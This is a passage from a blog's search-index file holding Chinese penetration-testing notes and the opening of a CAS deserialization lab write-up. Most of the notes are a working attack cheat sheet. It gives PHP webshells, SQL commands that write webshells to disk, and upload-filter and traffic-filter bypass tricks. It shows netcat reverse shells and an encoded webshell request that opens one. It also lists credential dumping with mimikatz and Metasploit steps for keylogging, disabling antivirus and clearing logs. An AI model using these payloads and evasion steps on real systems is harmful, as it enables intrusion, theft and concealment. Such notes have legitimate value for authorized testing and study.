        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>SQL注入</tag>
        <tag>SQLMAP</tag>
      </tags>
  </entry>
  <entry>
    <title>渗透笔记整理</title>
    <url>/archives/ff82748e.html</url>
    <content><![CDATA[<p>最近在整理印象笔记，其中有许许多多经验、研究和杂七杂八的想法，我会逐步上传到博客。<br><img data-src="https://i.loli.net/2018/02/10/5a7e9cdf1cedb.png" alt="印象笔记截图.PNG"></p>
<span id="more"></span>
<h1 id="渗透笔记"><a href="#渗透笔记" class="headerlink" title="渗透笔记"></a>渗透笔记</h1><h2 id="CSRF"><a href="#CSRF" class="headerlink" title="CSRF"></a>CSRF</h2><p>CSRF全名是Cross-site request forgery，理解上为伪造其他用户执行操作。</p>
<h3 id="攻击"><a href="#攻击" class="headerlink" title="攻击"></a>攻击</h3><p>网页没有token头字段，通过请求拦截的方式，将对应URL记录下来。通过构建一个恶意页面，恶意页面代码如下:</p>
<figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line"># <span class="keyword">GET</span>类型</span><br><span class="line">&lt;img src=&quot;操作行为的URL&quot;&gt; </span><br><span class="line"></span><br><span class="line"># POST类型</span><br><span class="line">&lt;form id=&quot;aa&quot; action=&quot;操作行为的UR&quot; <span class="keyword">method</span>=&quot;post&quot; <span class="type">name</span>=&quot;form1&quot;/&gt;</span><br><span class="line">&lt;<span class="keyword">input</span> <span class="keyword">type</span>=&quot;submit&quot; <span class="type">name</span>=&quot;button&quot; id=&quot;button&quot; style=&quot;display:none;&quot;/&gt;</span><br><span class="line">&lt;script&gt;<span class="keyword">window</span>.<span class="keyword">location</span> = &quot;http://x.x.x.x&quot;;&lt;/script&gt;</span><br></pre></td></tr></table></figure>
<p>诱使对应人员点击该页面即可触发CSRF攻击。</p>
<h3 id="防御思路"><a href="#防御思路" class="headerlink" title="防御思路"></a>防御思路</h3><p>针对CSRF攻击，防御方面：</p>
<ol>
<li>在重要操作执行钱需要进行验证码校验 </li>
<li>站点添加token（或者自定义）头字段。由于token是随机并且一次性。在使用post方法时，防止token出现在URL（可以通过构建恶意网站 使用户访问恶意网站 恶意网站在后台构建假冒用户操作）<br>通过抓包删除referer 测试<br>针对CSRF攻击总结：防御方面为对操作进行用户身份验证；攻击方面可以构建的代码：form iframe img xhr link等。</li>
</ol>
<h3 id="攻击衍生"><a href="#攻击衍生" class="headerlink" title="攻击衍生"></a>攻击衍生</h3><p>可以将XSS与CSRF结合：通过XSS让用户跳转到CSRF页面执行恶意操作。</p>
<h2 id="SQL-Injection"><a href="#SQL-Injection" class="headerlink" title="SQL Injection"></a>SQL Injection</h2><p>SQL Injection通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。</p>
<h3 id="攻击思路"><a href="#攻击思路" class="headerlink" title="攻击思路"></a>攻击思路</h3><p>最简单的注入思路就是针对id&#x3D;、class&#x3D;这些参数进行注入。看到过一次二次注入的思路：注册用户时将用户名设置成注入语句，在个人中心处注入语句被调用形成注入。因此，允许输入与数据库交互那么便有可能存在注入。例如cookie等报文头里面的数据，如果数据库会记录该数据那变可能存在注入。</p>
<h3 id="攻击衍生-1"><a href="#攻击衍生-1" class="headerlink" title="攻击衍生"></a>攻击衍生</h3><p>当站点对输入进行过滤（防御），可以尝试使用编码转换，将注入语句转码。</p>
<h2 id="内网渗透"><a href="#内网渗透" class="headerlink" title="内网渗透"></a>内网渗透</h2><p>内网渗透是指渗透人员获取了一台内网主机时，针对内网进行内网渗透的过程。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">Windows</span><br><span class="line"><span class="comment"># 查看用户权限</span></span><br><span class="line"><span class="built_in">whoami</span></span><br><span class="line"><span class="comment"># 提权 </span></span><br><span class="line"><span class="built_in">pr</span> </span><br><span class="line"><span class="comment"># 开启远程桌面</span></span><br><span class="line">REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal<span class="string">&quot; &quot;</span>Server /v fDenyTSConnections /t REG_DWORD /d 0 /f</span><br><span class="line"><span class="comment"># 查看计算机信息</span></span><br><span class="line">systeminfo</span><br><span class="line"><span class="comment"># 获取密码</span></span><br><span class="line">mimikatz</span><br><span class="line"><span class="comment"># 进程信息</span></span><br><span class="line">tasklist /svc </span><br><span class="line"><span class="comment"># 查看端口 </span></span><br><span class="line">netstart -an</span><br></pre></td></tr></table></figure>
<h2 id="上传漏洞"><a href="#上传漏洞" class="headerlink" title="上传漏洞"></a>上传漏洞</h2><h3 id="IIS6-0"><a href="#IIS6-0" class="headerlink" title="IIS6.0"></a>IIS6.0</h3><p>1.目录名称为a.asp，该目录下的文件都会以asp解析；<br>2.上传a.asp;.xx.jpg类型的文件，由于IIS6.0解析”;”会截断，所以在解析时可以理解为以asp文件类型解析。</p>
<h3 id="IIS7-0-x2F-7-5-Nginx≤0-8-37"><a href="#IIS7-0-x2F-7-5-Nginx≤0-8-37" class="headerlink" title="IIS7.0&#x2F;7.5+Nginx≤0.8.37"></a>IIS7.0&#x2F;7.5+Nginx≤0.8.37</h3><p>IIS7.0&#x2F;7.5，在PHP配置文件中，开启了cgi.fix_pathinfo（该配置默认开启），当文件为php类型，iis会交给php解析；<br>nginx和iis7.5类似:<br>Fast-CGI开启状况（默认），上传内容为:</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">fputs</span>(<span class="title function_ invoke__">fopen</span>(<span class="string">&#x27;cmd.php&#x27;</span>,<span class="string">&#x27;w&#x27;</span>),<span class="string">&#x27;&lt;?php eval($_POST[cmd])?&gt;&#x27;</span>);<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>的x.jpg。访问..&#x2F;..&#x2F;..&#x2F;x.jpg&#x2F;.php会在根目录下生成一个cmd.php;</p>
<ol>
<li>在文本前面加上 Gif89a 让服务器以为该文本为图片类型文件;</li>
<li>双文件上传 通过在上传<code>&lt;input type=&quot;FileName&quot; type=&quot;FILE&quot;&gt;</code>后面在加入<code>&lt;input type=&quot;FileName&quot; type=&quot;FILE&quot;&gt;</code>。下载网页源码 另存为到桌面 然后第一个地方上传正常图片 第二个地方上传马;</li>
<li>上传一句话木马可以对一句话多次加密。<br>上传成功之后，如果连接一句话被防护设备阻断，可以通过修改菜刀进行连接。原理是因为当前防护设备是针对网络流量进行识别，当流量中出现对应关键字会进入识别流程，当所有条件都满足时就会阻断该流量。该方式绕过方式千千万，只要特征不命中即可。</li>
</ol>
<h2 id="SQL命令"><a href="#SQL命令" class="headerlink" title="SQL命令"></a>SQL命令</h2><p>记录MySQL数据库在渗透的时候可以用到的命令：</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"># 导出文件</span><br><span class="line"><span class="keyword">Select</span> <span class="string">&#x27;&lt;? php eval($_POST[cmd]);?&gt;&#x27;</span> <span class="keyword">into</span> outfile <span class="string">&#x27;F:/wwwroot/eval.php&#x27;</span>;</span><br><span class="line">## 导出一句话</span><br><span class="line"><span class="keyword">create</span> <span class="keyword">table</span> cmd (a <span class="type">varchar</span>(<span class="number">50</span>));</span><br><span class="line"><span class="keyword">insert</span> <span class="keyword">into</span> cmd (a) <span class="keyword">values</span> (<span class="string">&#x27;一句话木马&#x27;</span>);</span><br><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">into</span> [a] <span class="keyword">in</span> <span class="string">&#x27;e:\web\webshellcc\1.asa;x.xls&#x27;</span> <span class="string">&#x27;excel 4.0;&#x27;</span><span class="keyword">from</span> cmd;</span><br><span class="line"><span class="keyword">drop</span> <span class="keyword">table</span> cmd;</span><br><span class="line"><span class="keyword">Select</span> <span class="string">&#x27;asp一句话木马&#x27;</span> <span class="keyword">into</span> [vote] <span class="keyword">in</span> <span class="string">&#x27;e:\web\webshellcc\1.asa;x.xls&#x27;</span> <span class="string">&#x27;excel 8.0;&#x27;</span> fromvote;</span><br><span class="line"><span class="keyword">select</span> <span class="keyword">into</span> outfile(dumpfile);  <span class="operator">/</span><span class="operator">/</span>MySQL写文件命令 (例如：<span class="keyword">select</span> &quot;&lt;?php echo &#x27;test&#x27;; ?&gt;&quot; <span class="keyword">into</span> outfile &quot;F:\\www\\test.php&quot;;）</span><br><span class="line"></span><br><span class="line"># 系统用户名</span><br><span class="line"><span class="built_in">system_user</span>()</span><br><span class="line"># 用户名</span><br><span class="line"><span class="keyword">user</span>()</span><br><span class="line"># 当前用户名</span><br><span class="line"><span class="built_in">current_user</span></span><br><span class="line"># 连接数据库的用户名</span><br><span class="line"><span class="built_in">session_user</span>()</span><br><span class="line"># 数据库名</span><br><span class="line">database()</span><br><span class="line"># MYSQL数据库版本</span><br><span class="line">version()</span><br><span class="line"># MYSQL读取本地文件的函数</span><br><span class="line">load_file()</span><br><span class="line"># 读取数据库路径</span><br><span class="line">@<span class="variable">@datadir</span></span><br><span class="line"># MYSQL 安装路径</span><br><span class="line">@<span class="variable">@basedir</span></span><br><span class="line"># 操作系统</span><br><span class="line">@<span class="variable">@version</span>_compile_os</span><br></pre></td></tr></table></figure>
<h2 id="PHP爆破路径"><a href="#PHP爆破路径" class="headerlink" title="PHP爆破路径"></a>PHP爆破路径</h2><p>1.错误参数爆路径<br>2.google搜索： sieze:xxx.com warning   size:xxx.com phpmyadmin(phpMyadmin<br>3.测试文件爆路径 test.php   ceshi.php   info.php<br>4.注入点读取配置文件  load_file</p>
<h1 id="小迪学习笔记"><a href="#小迪学习笔记" class="headerlink" title="小迪学习笔记"></a>小迪学习笔记</h1><p>我在刚刚接触渗透的时候，经常会看小迪的渗透教程视频。那时候，边学边记。</p>
<h2 id="小迪第一讲"><a href="#小迪第一讲" class="headerlink" title="小迪第一讲"></a>小迪第一讲</h2><p>小迪第一讲主要讲解一下基础的知识，便于后期理解。<br>软件：APMServ</p>
<figure class="highlight mipsasm"><table><tr><td class="code"><pre><span class="line"><span class="comment"># web环境</span></span><br><span class="line">iis6.<span class="number">0</span>（Windows2003）</span><br><span class="line">iis7.X（win7 Windows2008）</span><br><span class="line">Apache（linux Windows）</span><br><span class="line"><span class="comment"># 常见搭配</span></span><br><span class="line">asp + access + iis</span><br><span class="line">asp + sqlserver + iis</span><br><span class="line">php + mysql + Apache tomcat </span><br><span class="line"><span class="keyword">jsp </span>+ sqlserver + tomcat</span><br><span class="line"><span class="keyword">jsp </span>+ <span class="keyword">oracle </span>+tomcat</span><br><span class="line">aspx + sqlserver + iis</span><br></pre></td></tr></table></figure>
<h2 id="小迪第四讲"><a href="#小迪第四讲" class="headerlink" title="小迪第四讲"></a>小迪第四讲</h2><p>一个页面 <span class="exturl" data-url="aHR0cDovL3d3dy54eHguY29tL3h4eC5hc3A/aWQ9eHgsJUU1JUFEJTk4JUU1JTlDJUE4Y29va2llJUU2JUIzJUE4JUU1JTg1JUE1JUUzJTgwJTgyJUU0JUJEJUJGJUU3JTk0JUE4U1FMTWFwJUU4JUJGJTlCJUU4JUExJThDJUU2JTk0JUJCJUU1JTg3JUJCJUVGJUJDJThDJUU1JTkxJUJEJUU0JUJCJUE0JUU1JUE2JTgyJUU0JUI4JThCJUVGJUJDJTlBJTYwc3FsbWFwJUVGJUJDJTlB">http://www.xxx.com/xxx.asp?id=xx,存在cookie注入。使用SQLMap进行攻击，命令如下：`sqlmap：<i class="fa fa-external-link-alt"></i></span> sqlmap.py -u <span class="exturl" data-url="aHR0cDovL3d3dy54eHguY29tL3h4eC5hc3A=">http://www.xxx.com/xxx.asp<i class="fa fa-external-link-alt"></i></span> –cookie “id&#x3D;xx” –level 2&#96;</p>
<h2 id="小迪第五讲"><a href="#小迪第五讲" class="headerlink" title="小迪第五讲"></a>小迪第五讲</h2><p>数字型注入：<code>and 1=1</code>。例如:<code>select from admin where id=1</code><br>字符型注入：<code>&#39; and &#39;1&#39;=&#39;1</code>,在代码处由于字符型需要加单引号或者双引号。例如:<code>select from admin where a=&#39;a&#39;</code><br>搜索型注入：<code>%&#39;</code></p>
<h2 id="小迪第七讲"><a href="#小迪第七讲" class="headerlink" title="小迪第七讲"></a>小迪第七讲</h2><p>通过 load_file 读取后台文件 例如：前台页面向后台login.php传递参数并判断然后跳转 这时候可以通过 load_file sql注入语句来读取login.php文件</p>
<h2 id="小迪第九讲"><a href="#小迪第九讲" class="headerlink" title="小迪第九讲"></a>小迪第九讲</h2><p>服务器常见状态码：</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">1XX</span>：正在处理</span><br><span class="line"><span class="attribute">2XX</span>：成功</span><br><span class="line"><span class="attribute">3XX</span>：重定向</span><br><span class="line"><span class="attribute">4XX</span>：客户端错误 <span class="number">403</span>：存在（没权限） <span class="number">404</span>：不存在</span><br><span class="line"><span class="attribute">5XX</span>：服务器错误 <span class="number">500</span>：可能存在</span><br></pre></td></tr></table></figure>
<h2 id="小迪第十讲"><a href="#小迪第十讲" class="headerlink" title="小迪第十讲"></a>小迪第十讲</h2><p>该课程主要讲解mssql综合利用工具，由于是工具利用，所以并没有详细记录。</p>
<h2 id="小迪第十一讲"><a href="#小迪第十一讲" class="headerlink" title="小迪第十一讲"></a>小迪第十一讲</h2><p>验证机制分为：本地、远程。本地验证可以通过禁用、删除等方式进行绕过。<br>解析漏洞：</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">IIS6.<span class="number">0</span>：</span><br><span class="line">文件名： <span class="number">1</span>.asp;.jpg</span><br><span class="line">文件夹：用户名为 <span class="number">1</span>.asp  文件类型：<span class="number">1</span>.jpg</span><br><span class="line"></span><br><span class="line">IIS7.X   uginx：</span><br><span class="line">http:<span class="regexp">//</span>www.xxx.com/logo.gif</span><br><span class="line">解析漏洞:http:<span class="regexp">//</span>www.xxx.com<span class="regexp">/logo.gif/</span>x/php</span><br><span class="line"></span><br><span class="line">apache:</span><br><span class="line">首先是否系统能否解析的后缀名</span><br><span class="line">http:<span class="regexp">//</span>www.xxx.com/logo.php.asdasd  最后的后缀无法识别 便继续往前推</span><br></pre></td></tr></table></figure>
<h2 id="小迪第十二讲"><a href="#小迪第十二讲" class="headerlink" title="小迪第十二讲"></a>小迪第十二讲</h2><p>IIS 解析漏洞利用<code>path：a.asp;.</code>,在上传的时候通过修改文件前缀。不单单是文件前缀，如果上传包中存在path，可以通过修改path。因为有时候验证是通过文件名<code>filename</code>，而不验证filepath。<br>图片马使用UE（uedit）编辑器即可添加。</p>
<h2 id="小迪第十四讲"><a href="#小迪第十四讲" class="headerlink" title="小迪第十四讲"></a>小迪第十四讲</h2><p>针对上传绕过时，首先需要知道过滤方式。可通过多次上传来猜解其过滤方式。<br>利用手段 </p>
<ol>
<li>00截断：1.asp’\0’.jpg:</li>
<li>通过UE将上传包保存为文本文档在上传文件名后面加上：空格 .jpg。例如　1.asp .jpg。</li>
<li>通过UE将空格 20 修改为 00  </li>
<li>在上传包文本中 包长度 length 数值加5 </li>
<li>检验文件类型 通过抓包修改</li>
<li>过滤不全 asp  asa  cer  cdx   htr</li>
<li>检验文件头：在文件头前面加上    GIF89a</li>
</ol>
<h1 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h1><h2 id="一句话流量学习"><a href="#一句话流量学习" class="headerlink" title="一句话流量学习"></a>一句话流量学习</h2><figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="comment"># url执行命令</span></span><br><span class="line"><span class="attribute">POST</span> /test.php HTTP/<span class="number">1</span>.<span class="number">1</span></span><br><span class="line"><span class="attribute">X</span>-Forwarded-For: <span class="number">199.1.88.29</span></span><br><span class="line"><span class="attribute">Referer</span>: http://<span class="number">192.168.168.147</span></span><br><span class="line"><span class="attribute">Content</span>-Type: application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">User</span>-Agent: Mozilla/<span class="number">5</span>.<span class="number">0</span> (Windows; Windows NT <span class="number">5</span>.<span class="number">1</span>; en-US) Firefox/<span class="number">3</span>.<span class="number">5</span>.<span class="number">0</span></span><br><span class="line"><span class="attribute">Host</span>: <span class="number">192.168.168.147</span></span><br><span class="line"><span class="attribute">Content</span>-Length: <span class="number">569</span></span><br><span class="line"><span class="attribute">Cache</span>-Control: no-cache</span><br><span class="line"></span><br><span class="line"><span class="attribute">cmd</span>=@eval(base64_decode($_POST[z0]));&amp;z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%<span class="number">2</span>BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs%<span class="number">3</span>D&amp;z1=L2Jpbi9zaA%<span class="number">3</span>D%<span class="number">3</span>D&amp;z2=Y2QgIi92YXIvd3d3L2h0bWwvIjtuYyAxOTIuMTY4LjEwLjExIDEzMzcgLWUgL2Jpbi9iYXNoO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ%<span class="number">3</span>D%<span class="number">3</span>D</span><br></pre></td></tr></table></figure>
<h2 id="NC工具"><a href="#NC工具" class="headerlink" title="NC工具"></a>NC工具</h2><figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">正向连接：</span><br><span class="line">     服务器命令：nc -l -<span class="selector-tag">p</span> <span class="number">1337</span> -e /bin/bash</span><br><span class="line">     客服端使用：nc &gt;nc x<span class="selector-class">.x</span><span class="selector-class">.x</span><span class="selector-class">.x</span> <span class="number">1337</span></span><br><span class="line">反向连接：</span><br><span class="line">     服务器命令：nc <span class="number">192.168</span>.<span class="number">10.11</span> <span class="number">1337</span> -e /bin/bash</span><br><span class="line">     客户发命令：nc -lvv -<span class="selector-tag">p</span> <span class="number">1337</span></span><br></pre></td></tr></table></figure>
<h2 id="Metasploit-msfconsole工具"><a href="#Metasploit-msfconsole工具" class="headerlink" title="Metasploit-msfconsole工具"></a>Metasploit-msfconsole工具</h2><p>Metasploit是一个优秀的渗透测试框架！！！！！！！</p>
<h3 id="攻击阶段："><a href="#攻击阶段：" class="headerlink" title="攻击阶段："></a>攻击阶段：</h3><p>使用<code>msfconsole</code>打开Metasploit<br><img data-src="https://i.loli.net/2018/02/01/5a72887f8fa7c.png" alt="Image.png"><br>使用nmap扫描来发现开放端口<code>nmap -T4 -A -v x.x.x.x</code><br><img data-src="https://i.loli.net/2018/02/01/5a72887f463a8.png" alt="nmap.png"><br>使用<code>search</code>命令来搜索需要的exp<br><img data-src="https://i.loli.net/2018/02/01/5a72887f68d46.png" alt="search.png"><br>使用<code>use</code>命令来打开exp，之后使用<code>show options</code>查看需要指定的参数<br><img data-src="https://i.loli.net/2018/02/01/5a72887f74851.png" alt="show.png"><br>使用<code>set rhost</code>等来设置参数之后，通过exploit来获取meterpreter会话<br><img data-src="https://i.loli.net/2018/02/01/5a72887ec17c9.png" alt="set.png"></p>
<h3 id="信息收集阶段："><a href="#信息收集阶段：" class="headerlink" title="信息收集阶段："></a>信息收集阶段：</h3><p>获取服务器信息（sysinfo、getuid、idletime、run get_env、ifconfig、route）<br><img data-src="https://i.loli.net/2018/02/01/5a72887e8e564.png" alt="systeminfo.png"><br>获取服务器当前截屏（screenshot）<br><img data-src="https://i.loli.net/2018/02/01/5a72887e4fe74.png" alt="screenshot.png"><br>获取服务器进程信息（ps）<br><img data-src="https://i.loli.net/2018/02/01/5a7289b431615.png" alt="ps.png"><br>将 meterpreter会话迁移至explorer（migrate）<br><img data-src="https://i.loli.net/2018/02/01/5a7289d322ff9.png" alt="migrate.png"><br>开启键盘记录，输出（keyscan_start、keyscan_dump）<br><img data-src="https://i.loli.net/2018/02/01/5a728a054d981.png" alt="keyscan.png"><br>获取服务器shell（shell）<br><img data-src="https://i.loli.net/2018/02/01/5a728a1898d4f.png" alt="shell.png"><br>检测服务器是否为虚拟机（run checkvm）<br><img data-src="https://i.loli.net/2018/02/01/5a728a282f164.png" alt="checkvm.png"><br>启动远程桌面（run getgui -e）;启动telnet服务（run gettelnet -e）<br><img data-src="https://i.loli.net/2018/02/01/5a728a46f3eef.png" alt="getgui.png"><br>获取子网状况（run get_local_subnets）<br><img data-src="https://i.loli.net/2018/02/01/5a728a5e0d4c4.png" alt="get_local_subnets.png"><br>编辑hosts（run hostedit）<br><img data-src="https://i.loli.net/2018/02/01/5a728a70d5e82.png" alt="hostedit.png"><br>查看已经登录的用户数（run enum_logged_on_users）<br><img data-src="https://i.loli.net/2018/02/01/5a728a8982a29.png" alt="enum_logged_on_users.png"><br>获取已安装应用程序（run get_application_list）<br><img data-src="https://i.loli.net/2018/02/01/5a728a9a7c456.png" alt="get_application_list.png"><br>获取驱动器信息（run windows&#x2F;gather&#x2F;forensics&#x2F;enum_drives）<br><img data-src="https://i.loli.net/2018/02/01/5a728ab029e5b.png" alt="enum_drives.png"><br>获取产品密钥（run windows&#x2F;gather&#x2F;enum_ms_product_keys）<br><img data-src="https://i.loli.net/2018/02/01/5a728aca70e64.png" alt="enum_ms_product_keys.png"><br>获取autologin（run windows&#x2F;gather&#x2F;credentials&#x2F;windows_autologin）<br><img data-src="https://i.loli.net/2018/02/01/5a728adf85729.png" alt="autologin.png"><br>使用自动脚本获取系统信息（run winenum）<br><img data-src="https://i.loli.net/2018/02/01/5a728af0d260d.png" alt="winenum.png"><br>获取服务器额外信息（run scraper；信息存放路径为：.msf5&#x2F;logs&#x2F;scrips&#x2F;scraper&#x2F;192.x.x.x.x）<br><img data-src="https://i.loli.net/2018/02/01/5a728b0537bf6.png" alt="scraper.png"></p>
<h3 id="清理痕迹阶段："><a href="#清理痕迹阶段：" class="headerlink" title="清理痕迹阶段："></a>清理痕迹阶段：</h3><p>检测防火墙状态（run getcountermeasure）<br><img data-src="https://i.loli.net/2018/02/01/5a728b2a7b573.png" alt="getcountermeasure.png"><br>关闭杀毒软件（run killav；find &#x2F; -name ‘killav.rb’；&#x2F;usr&#x2F;share&#x2F;metasploit-framework&#x2F;scripts&#x2F;meterpreter&#x2F;killav.rb）<br><img data-src="https://i.loli.net/2018/02/01/5a728b41c549d.png" alt="killav.png"><br>清理日志（clearev）<br><img data-src="https://i.loli.net/2018/02/01/5a728b4fec7ed.png" alt="clearev.png"></p>
<h2 id="Nmap"><a href="#Nmap" class="headerlink" title="Nmap"></a>Nmap</h2><p>Nmap常用命令汇总记录</p>
<figure class="highlight diff"><table><tr><td class="code"><pre><span class="line">Nmap常用命令参数讲解</span><br><span class="line"><span class="deletion">-d [level] (提高或设置调试级别) 。 </span></span><br><span class="line"><span class="deletion">-sT tcp端口扫描(完整三次握手)。</span></span><br><span class="line"><span class="deletion">-sU udp扫描。(不回应可能端口打开,回应是关闭) </span></span><br><span class="line"><span class="deletion">-sL dns反向解析。    </span></span><br><span class="line"><span class="deletion">-sM[fin ack mainmon扫描] 。</span></span><br><span class="line"><span class="deletion">-sS隐蔽扫描(半开syn)。</span></span><br><span class="line"><span class="deletion">-sP发现扫描网络存活主机。(直连arp非直连tcp80 icmp)</span></span><br><span class="line"><span class="deletion">-sO确定主机协议扫描。</span></span><br><span class="line"><span class="deletion">-sA tcp ACK扫描。</span></span><br><span class="line"><span class="deletion">-sW 对滑动窗口的扫描sI[idlescan]。</span></span><br><span class="line"><span class="deletion">-sR  RPC扫描。(flag没有syn,ack,rst回送rst)</span></span><br><span class="line"><span class="deletion">-sN 关闭主机发现【空】。(不管是否存在直接扫描)</span></span><br><span class="line"><span class="deletion">-sF FIN扫描 。(sN sF sX逃避不了ids)</span></span><br><span class="line"><span class="deletion">-sX Xmas扫描 (fin psh urg为置位)。</span></span><br><span class="line"><span class="deletion">-sI 完全隐藏。【以一个跳板主机&#123;无流量&#125;扫描另一台主机】</span></span><br><span class="line"><span class="deletion">-sV 服务版本。</span></span><br><span class="line"><span class="deletion">-sC 跟安全有关的脚本</span></span><br><span class="line"><span class="deletion">-P0 指定协议。(不ping主机)(1icmp6tcp17udp47gre50esp51ah53swipe77sun-nd115l2tp120uti132sctp) </span></span><br><span class="line"><span class="deletion">-PS 端口列表用,隔开[tcp80 syn 扫描]</span></span><br><span class="line"><span class="deletion">-PA 端口列表用,隔开[ack扫描](PS+PA测试状态包过滤防火墙【非状态的PA可以过】)【默认扫描端口1-1024】</span></span><br><span class="line"><span class="deletion">-PU 端口列表用,隔开[udp高端口扫描 穿越只过滤tcp的防火墙]</span></span><br><span class="line"><span class="deletion">-PE [icmp ping types]</span></span><br><span class="line"><span class="deletion">-PM 掩码请求。</span></span><br><span class="line"><span class="deletion">-PR [arp ping] 默认直连用。</span></span><br><span class="line"><span class="deletion">-PN 自己。</span></span><br><span class="line"><span class="deletion">-PP 时间请求。</span></span><br></pre></td></tr></table></figure>
<h2 id="GoogleHack"><a href="#GoogleHack" class="headerlink" title="GoogleHack"></a>GoogleHack</h2><p>使用Google搜索往往能获得意想不到的信息。</p>
<figure class="highlight ldif"><table><tr><td class="code"><pre><span class="line">ps：不区分大小写</span><br><span class="line">all开头一次查询只能使用一个</span><br><span class="line"><span class="attribute">intext</span>:关键词 （搜索页面正文包含关键词的网页）</span><br><span class="line"><span class="attribute">allintext</span>:关键词,关键词 （拼接多个关键词）</span><br><span class="line"><span class="attribute">intitle</span>:关键词 （搜索页面标题包含关键词的网页）</span><br><span class="line"><span class="attribute">allintitle</span>:关键词,关键词 （拼接多个关键词）</span><br><span class="line"><span class="attribute">cache</span>:url （搜索特定页面的快照）</span><br><span class="line"><span class="attribute">defind</span>:关键词 （搜索关于关键词的定义，不能与其他操作符混用）</span><br><span class="line"><span class="attribute">filetype</span>:关键词 （搜索所有以关键词为后缀的文件的url） </span><br><span class="line"><span class="attribute">ext</span>:关键词 （性质与filetype一致）</span><br><span class="line"><span class="attribute">info</span>:</span><br><span class="line">    搜索输入URL的摘要信息和其他相关信息，该操作符不能与其他操作符及关键字混用</span><br><span class="line"><span class="attribute">inurl</span>:关键词 （搜索url中包含关键词的网页）</span><br><span class="line"><span class="attribute">allinurl</span>:关键词,关键词 （搜索url中包含多个关键词的网页）</span><br><span class="line"><span class="attribute">site</span>:url （将搜索范围缩小到特定的网站，域或子域）</span><br><span class="line">*（通配符）</span><br><span class="line"><span class="literal">-</span>（排除符号）</span><br></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>渗透测试</tag>
      </tags>
  </entry>
  <entry>
    <title>Apereo CAS反序列化漏洞分析</title>
    <url>/archives/ab2213f4.html</url>
    <content><![CDATA[<p>在项目上遇到CAS，因此对CAS反序列化做一下复现及分析。</p>
<p><img data-src="https://i.loli.net/2021/04/19/1GDpOiHLNCwl6go.png" alt="CAS漏洞利用"></p>
<span id="more"></span>

<h1 id="CAS"><a href="#CAS" class="headerlink" title="CAS"></a>CAS</h1><p><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2FwZXJlby9jYXM=">Apereo CAS<i class="fa fa-external-link-alt"></i></span>是一套开源用来做统一认证服务，其中CAS全称为Central Authentication Service。漏洞点跟Shiro反序列化其实很类似，都是因为其采用了默认编码密钥，导致可以通过反序列化结合Gadget进行利用。</p>
<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>这里直接采用docker-compose进行环境搭建</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;2&#x27;</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line"> <span class="attr">web:</span></span><br><span class="line">   <span class="attr">image:</span> <span class="string">vulhub/apereo-cas:4.1.5</span></span><br><span class="line">   <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">&quot;8081:8080&quot;</span></span><br></pre></td></tr></table></figure>

<p>通过<code>docker-compose up -d</code>直接一键部署</p>
<p><img data-src="https://i.loli.net/2021/04/19/wlt67OoWYvUGNuX.png" alt="CAS环境部署"></p>
<p>部署完成之后，访问本地8081端口即可</p>
<p><img data-src="https://i.loli.net/2021/04/19/ThCeyJobSIEmMRj.png" alt="CAS-web-页面"></p>
<h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><p>直接用公开的工具即可</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>CVE-2016-1247分析</title>
    <url>/archives/eca7756b.html</url>
    <content><![CDATA[<p>针对CVE-2016-1247漏洞进行复现、研究分析原理。<br><img data-src="https://i.loli.net/2018/05/27/5b0a99128c972.png" alt="success.png"></p>
<span id="more"></span>
